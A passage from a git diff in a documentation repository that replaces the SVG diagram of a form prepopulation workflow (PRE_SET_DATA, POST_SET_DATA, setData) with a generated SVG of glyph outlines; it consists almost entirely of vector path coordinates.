62.472656 50.433594 62.609375 C 50.082031 62.746094 49.625 62.816406 49.0625 62.816406 C 48.90625 62.816406 48.734375 62.804688 48.554688 62.785156 C 48.378906 62.773438 48.195312 62.761719 48 62.742188 L 48 58.953125 C 47.570312 58.953125 47.183594 58.988281 46.835938 59.054688 C 46.492188 59.121094 46.203125 59.230469 45.960938 59.378906 C 45.71875 59.53125 45.527344 59.726562 45.394531 59.960938 C 45.265625 60.191406 45.203125 60.484375 45.203125 60.832031 C 45.203125 61.101562 45.246094 61.371094 45.335938 61.632812 C 45.429688 61.898438 45.546875 62.09375 45.683594 62.230469 M 48.933594 61.78125 C 49.574219 61.796875 50.042969 61.691406 50.34375 61.460938 C 50.644531 61.234375 50.796875 60.925781 50.796875 60.527344 C 50.796875 60.070312 50.644531 59.703125 50.34375 59.433594 C 50.042969 59.171875 49.574219 59.015625 48.933594 58.96875 M 46.136719 65.828125 C 45.804688 65.828125 45.566406 65.875 45.421875 65.960938 C 45.277344 66.054688 45.203125 66.195312 45.203125 66.367188 C 45.203125 66.574219 45.261719 66.8125 45.378906 67.097656 L 44.535156 67.199219 C 44.453125 67.070312 44.390625 66.894531 44.34375 66.660156 C 44.292969 66.425781 44.273438 66.214844 44.273438 66.035156 C 44.273438 65.65625 44.382812 65.347656 44.605469 65.117188 C 44.839844 64.882812 45.238281 64.765625 45.800781 64.765625 L 54.527344 64.765625 L 54.527344 65.828125 M 53.59375 76.78125 L 53.59375 74.21875 L 44.273438 74.21875 L 44.273438 73.097656 L 53.59375 73.097656 L 53.59375 70.535156 L 54.527344 70.535156 L 54.527344 76.78125 M 51.730469 76.796875 L 51.730469 77.570312 L 50.828125 77.757812 L 50.828125 77.800781 C 51.105469 77.9375 51.324219 78.117188 51.480469 78.339844 C 51.644531 78.5625 51.730469 78.835938 51.730469 79.15625 C 51.730469 79.378906 51.6875 79.636719 51.613281 79.929688 L 50.664062 79.726562 C 50.753906 79.464844 50.796875 79.234375 50.796875 79.039062 C 50.796875 78.71875 50.703125 78.457031 50.519531 78.253906 C 50.335938 78.058594 50.085938 77.933594 49.777344 77.875 L 44.273438 77.875 L 44.273438 76.796875 M 51.175781 80.453125 C 51.351562 80.746094 51.484375 81.09375 51.582031 81.503906 C 51.679688 81.917969 51.730469 82.355469 51.730469 82.8125 C 51.730469 83.226562 51.664062 83.5625 51.539062 83.816406 C 51.421875 84.070312 51.257812 84.269531 51.042969 84.414062 C 50.839844 84.5625 50.601562 84.652344 50.332031 84.691406 C 50.070312 84.738281 49.785156 84.765625 49.484375 84.765625 C 48.902344 84.765625 48.335938 84.75 47.78125 84.722656 C 47.230469 84.699219 46.703125 84.691406 46.207031 84.691406 C 45.832031 84.691406 45.480469 84.699219 45.160156 84.722656 C 44.847656 84.75 44.550781 84.796875 44.273438 84.867188 L 44.273438 84.050781 L 45.203125 83.804688 L 45.203125 83.746094 C 44.949219 83.601562 44.730469 83.382812 44.546875 83.089844 C 44.363281 82.796875 44.273438 82.410156 44.273438 81.925781 C 44.273438 81.390625 44.46875 80.949219 44.867188 80.597656 C 45.265625 80.257812 45.816406 80.089844 46.515625 80.089844 C 46.96875 80.089844 47.347656 80.164062 47.652344 80.308594 C 47.960938 80.453125 48.210938 80.65625 48.410156 80.917969 C 48.601562 81.183594 48.734375 81.492188 48.816406 81.851562 C 48.894531 82.21875 48.933594 82.628906 48.933594 83.074219 C 48.933594 83.171875 48.933594 83.269531 48.933594 83.367188 C 48.933594 83.472656 48.925781 83.578125 48.917969 83.6875 C 49.160156 83.714844 49.375 83.730469 49.574219 83.730469 C 50.019531 83.730469 50.335938 83.644531 50.519531 83.46875 C 50.703125 83.300781 50.796875 82.996094 50.796875 82.550781 C 50.796875 82.265625 50.753906 81.960938 50.664062 81.632812 C 50.585938 81.300781 50.484375 81.027344 50.359375 80.816406 M 47.972656 83.703125 C 47.980469 83.601562 47.984375 83.5 47.984375 83.394531 C 47.992188 83.296875 48 83.199219 48 83.105469 C 48 82.859375 47.976562 82.625 47.925781 82.390625 C 47.886719 82.164062 47.816406 81.960938 47.710938 81.777344 C 47.601562 81.605469 47.453125 81.460938 47.273438 81.355469 C 47.085938 81.246094 46.851562 81.195312 46.574219 81.195312 C 46.136719 81.195312 45.792969 81.289062 45.554688 81.488281 C 45.320312 81.679688 45.203125 81.933594 45.203125 82.246094 C 45.203125 82.660156 45.308594 82.988281 45.523438 83.222656 C 45.734375 83.453125 45.976562 83.613281 46.238281 83.703125 M 44.273438 89.949219 L 48.730469 89.949219 C 49.457031 89.949219 49.980469 89.863281 50.300781 89.6875 C 50.628906 89.511719 50.796875 89.199219 50.796875 88.757812 C 50.796875 88.355469 50.679688 88.027344 50.449219 87.765625 C 50.214844 87.503906 49.925781 87.3125 49.589844 87.199219 L 44.273438 87.199219 L 44.273438 86.121094 L 51.730469 86.121094 L 51.730469 86.90625 L 50.78125 87.09375 L 50.78125 87.140625 C 51.042969 87.332031 51.265625 87.589844 51.453125 87.910156 C 51.632812 88.230469 51.730469 88.613281 51.730469 89.0625 C 51.730469 89.382812 51.6875 89.664062 51.597656 89.90625 C 51.511719 90.148438 51.359375 90.351562 51.148438 90.519531 C 50.941406 90.683594 50.664062 90.800781 50.316406 90.882812 C 49.96875 90.96875 49.523438 91.011719 48.992188 91.011719 L 44.273438 91.011719 M 45.613281 92.542969 C 45.496094 92.734375 45.398438 92.96875 45.320312 93.242188 C 45.242188 93.511719 45.203125 93.796875 45.203125 94.085938 C 45.203125 94.414062 45.28125 94.691406 45.4375 94.917969 C 45.601562 95.148438 45.863281 95.265625 46.222656 95.265625 C 46.523438 95.265625 46.769531 95.195312 46.964844 95.046875 C 47.160156 94.910156 47.335938 94.734375 47.492188 94.523438 C 47.644531 94.308594 47.785156 94.074219 47.914062 93.824219 C 48.035156 93.582031 48.191406 93.351562 48.363281 93.140625 C 48.539062 92.925781 48.746094 92.746094 48.992188 92.601562 C 49.230469 92.460938 49.542969 92.398438 49.921875 92.398438 C 50.511719 92.398438 50.960938 92.566406 51.261719 92.90625 C 51.574219 93.257812 51.730469 93.742188 51.730469 94.363281 C 51.730469 94.773438 51.6875 95.121094 51.613281 95.414062 C 51.542969 95.710938 51.453125 95.972656 51.335938 96.199219 L 50.476562 95.921875 C 50.570312 95.726562 50.652344 95.503906 50.710938 95.253906 C 50.769531 95.007812 50.796875 94.761719 50.796875 94.507812 C 50.796875 94.148438 50.722656 93.886719 50.578125 93.722656 C 50.441406 93.554688 50.222656 93.476562 49.921875 93.476562 C 49.679688 93.476562 49.476562 93.539062 49.3125 93.679688 C 49.144531 93.824219 48.996094 94 48.859375 94.203125 C 48.722656 94.414062 48.582031 94.648438 48.4375 94.902344 C 48.300781 95.152344 48.136719 95.382812 47.941406 95.585938 C 47.746094 95.796875 47.511719 95.972656 47.242188 96.113281 C 46.96875 96.257812 46.632812 96.328125 46.222656 96.328125 C 45.960938 96.328125 45.707031 96.285156 45.464844 96.199219 C 45.234375 96.113281 45.027344 95.972656 44.855469 95.792969 C 44.679688 95.605469 44.539062 95.375 44.433594 95.105469 C 44.324219 94.832031 44.273438 94.511719 44.273438 94.144531 C 44.273438 93.707031 44.308594 93.328125 44.386719 93.007812 C 44.476562 92.6875 44.582031 92.417969 44.707031 92.207031 M 51.730469 96.664062 L 51.730469 97.582031 L 52.109375 97.582031 C 52.960938 97.582031 53.578125 97.714844 53.957031 97.976562 C 54.335938 98.246094 54.527344 98.707031 54.527344 99.359375 C 54.527344 99.609375 54.511719 99.839844 54.480469 100.042969 C 54.453125 100.253906 54.386719 100.472656 54.292969 100.699219 L 53.40625 100.4375 C 53.480469 100.25 53.527344 100.082031 53.550781 99.929688 C 53.578125 99.78125 53.59375 99.636719 53.59375 99.492188 C 53.59375 99.292969 53.554688 99.140625 53.476562 99.023438 C 53.40625 98.914062 53.300781 98.835938 53.15625 98.777344 C 53.011719 98.726562 52.8125 98.691406 52.574219 98.675781 C 52.339844 98.664062 52.058594 98.660156 51.730469 98.660156 L 51.730469 100.203125 L 50.796875 100.203125 L 50.796875 98.660156 L 44.273438 98.660156 L 44.273438 97.582031 L 50.796875 97.582031 L 50.796875 96.664062 M 48 100.714844 C 49.28125 100.714844 50.222656 100.941406 50.828125 101.398438 C 51.425781 101.863281 51.730469 102.523438 51.730469 103.378906 C 51.730469 104.289062 51.417969 104.960938 50.796875 105.390625 C 50.183594 105.828125 49.253906 106.046875 48 106.046875 C 46.707031 106.046875 45.761719 105.8125 45.160156 105.347656 C 44.566406 104.878906 44.273438 104.226562 44.273438 103.378906 C 44.273438 102.464844 44.578125 101.792969 45.1875 101.355469 C 45.808594 100.925781 46.746094 100.714844 48 100.714844 M 48 101.835938 C 47.582031 101.835938 47.203125 101.859375 46.863281 101.910156 C 46.523438 101.96875 46.226562 102.058594 45.976562 102.183594 C 45.730469 102.308594 45.542969 102.46875 45.40625 102.667969 C 45.269531 102.871094 45.203125 103.105469 45.203125 103.378906 C 45.203125 103.902344 45.421875 104.289062 45.859375 104.546875 C 46.304688 104.808594 47.015625 104.9375 48 104.9375 C 48.410156 104.9375 48.78125 104.910156 49.121094 104.851562 C 49.472656 104.800781 49.765625 104.710938 50.011719 104.589844 C 50.261719 104.460938 50.453125 104.296875 50.59375 104.09375 C 50.726562 103.898438 50.796875 103.660156 50.796875 103.378906 C 50.796875 102.875 50.570312 102.492188 50.128906 102.230469 C 49.679688 101.96875 48.96875 101.835938 48 101.835938 M 51.730469 107.558594 L 51.730469 108.332031 L 50.828125 108.519531 L 50.828125 108.566406 C 51.105469 108.699219 51.324219 108.878906 51.480469 109.105469 C 51.644531 109.328125 51.730469 109.597656 51.730469 109.917969 C 51.730469 110.140625 51.6875 110.402344 51.613281 110.691406 L 50.664062 110.488281 C 50.753906 110.226562 50.796875 109.996094 50.796875 109.804688 C 50.796875 109.484375 50.703125 109.21875 50.519531 109.015625 C 50.335938 108.820312 50.085938 108.695312 49.777344 108.636719 L 44.273438 108.636719 L 44.273438 107.558594 M 44.273438 114.785156 L 48.613281 114.785156 C 49 114.785156 49.328125 114.769531 49.601562 114.742188 C 49.882812 114.71875 50.113281 114.667969 50.289062 114.582031 C 50.460938 114.5 50.585938 114.394531 50.664062 114.261719 C 50.753906 114.121094 50.796875 113.941406 50.796875 113.707031 C 50.796875 113.363281 50.664062 113.082031 50.402344 112.847656 C 50.148438 112.613281 49.859375 112.453125 49.53125 112.367188 L 44.273438 112.367188 L 44.273438 111.289062 L 51.730469 111.289062 L 51.730469 112.0625 L 50.78125 112.25 L 50.78125 112.292969 C 51.0625 112.503906 51.292969 112.753906 51.46875 113.035156 C 51.640625 113.328125 51.730469 113.695312 51.730469 114.144531 C 51.730469 114.523438 51.644531 114.832031 51.480469 115.074219 C 51.324219 115.316406 51.042969 115.503906 50.636719 115.644531 C 50.976562 115.820312 51.242188 116.070312 51.4375 116.402344 C 51.632812 116.738281 51.730469 117.109375 51.730469 117.507812 C 51.730469 117.835938 51.6875 118.121094 51.597656 118.351562 C 51.519531 118.585938 51.371094 118.777344 51.160156 118.921875 C 50.957031 119.066406 50.679688 119.171875 50.332031 119.242188 C 49.988281 119.308594 49.558594 119.34375 49.035156 119.34375 L 44.273438 119.34375 L 44.273438 118.28125 L 48.917969 118.28125 C 49.546875 118.28125 50.019531 118.214844 50.332031 118.089844 C 50.640625 117.964844 50.796875 117.675781 50.796875 117.230469 C 50.796875 116.851562 50.679688 116.550781 50.449219 116.328125 C 50.222656 116.101562 49.914062 115.949219 49.53125 115.863281 L 44.273438 115.863281 M 44.925781 125.082031 C 44.722656 124.839844 44.5625 124.53125 44.445312 124.164062 C 44.328125 123.804688 44.273438 123.421875 44.273438 123.015625 C 44.273438 122.539062 44.359375 122.128906 44.535156 121.789062 C 44.707031 121.449219 44.960938 121.167969 45.292969 120.945312 C 45.617188 120.71875 46.007812 120.554688 46.457031 120.449219 C 46.910156 120.339844 47.425781 120.289062 48 120.289062 C 49.214844 120.289062 50.132812 120.523438 50.769531 120.988281 C 51.410156 121.457031 51.730469 122.113281 51.730469 122.96875 C 51.730469 123.25 51.691406 123.527344 51.628906 123.800781 C 51.570312 124.070312 51.441406 124.3125 51.25 124.527344 C 51.050781 124.75 50.78125 124.929688 50.433594 125.066406 C 50.082031 125.203125 49.625 125.273438 49.0625 125.273438 C 48.90625 125.273438 48.734375 125.261719 48.554688 125.242188 C 48.378906 125.230469 48.195312 125.21875 48 125.199219 L 48 121.410156 C 47.570312 121.410156 47.183594 121.445312 46.835938 121.515625 C 46.492188 121.578125 46.203125 121.6875 45.960938 121.835938 C 45.71875 121.988281 45.527344 122.183594 45.394531 122.417969 C 45.265625 122.648438 45.203125 122.941406 45.203125 123.292969 C 45.203125 123.558594 45.246094 123.828125 45.335938 124.09375 C 45.429688 124.355469 45.546875 124.550781 45.683594 124.6875 M 48.933594 124.238281 C 49.574219 124.257812 50.042969 124.152344 50.34375 123.917969 C 50.644531 123.691406 50.796875 123.382812 50.796875 122.984375 C 50.796875 122.527344 50.644531 122.164062 50.34375 121.894531 C 50.042969 121.628906 49.574219 121.472656 48.933594 121.425781 M 51.730469 127.136719 L 51.730469 127.910156 L 50.828125 128.097656 L 50.828125 128.140625 C 51.105469 128.277344 51.324219 128.453125 51.480469 128.679688 C 51.644531 128.902344 51.730469 129.175781 51.730469 129.496094 C 51.730469 129.71875 51.6875 129.976562 51.613281 130.269531 L 50.664062 130.0625 C 50.753906 129.800781 50.796875 129.574219 50.796875 129.378906 C 50.796875 129.058594 50.703125 128.796875 50.519531 128.59375 C 50.335938 128.394531 50.085938 128.273438 49.777344 128.214844 L 44.273438 128.214844 L 44.273438 127.136719 Z M 51.730469 127.136719 "/>
+</g>
+</svg>
diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg
index 1db13f94c72..c908f5c5a76 100644
--- a/_images/form/form_prepopulation_workflow.svg
+++ b/_images/form/form_prepopulation_workflow.svg
@@ -1,54 +1,253 @@
-<svg width="700" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <g id="prepopulation">
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1000" y="1319.84">
-        <tspan x="1000" y="1319.84">New form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1700" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1780" y="1319.84">
-        <tspan x="1780" y="1319.84">Prepopulated form</tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1080" y1="1311.85" x2="1689" y2="1311.85"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1689,1316.85 1699,1311.85 1689,1306.85 "/>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1106.67 1180 L 1213.33,1180 C 1228.06,1180 1240,1190.5 1240,1203.45 C 1240,1216.4 1228.06,1226.9 1213.33,1226.9 L 1106.67,1226.9 C 1091.94,1226.9 1080,1216.4 1080,1203.45 C 1080,1190.5 1091.94,1180 1106.67,1180z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1160" y="1211.43">
-        <tspan x="1160" y="1211.43">Model data</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="1280" width="140" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1550" y="1319.84">
-        <tspan x="1550" y="1319.84">POST_SET_DATA</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1200" y="1280" width="145.381" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1272.69" y="1319.84">
-        <tspan x="1272.69" y="1319.84">PRE_SET_DATA</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1088.7" y="1314.61" width="102.6" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1140" y="1333">
-        <tspan xml:space="preserve" x="1140" y="1333">  setData($data) </tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1160" y1="1226.9" x2="1160" y2="1300.85"/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1155,1300.85 1160,1310.85 1165,1300.85 "/>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1366.97" y="1285.47" width="86.05" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1410" y="1303.85">
-        <tspan x="1410" y="1303.85">normalization</tspan>
-      </text>
-    </g>
-  </g>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="961pt" height="201pt" viewBox="0 0 961 201" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 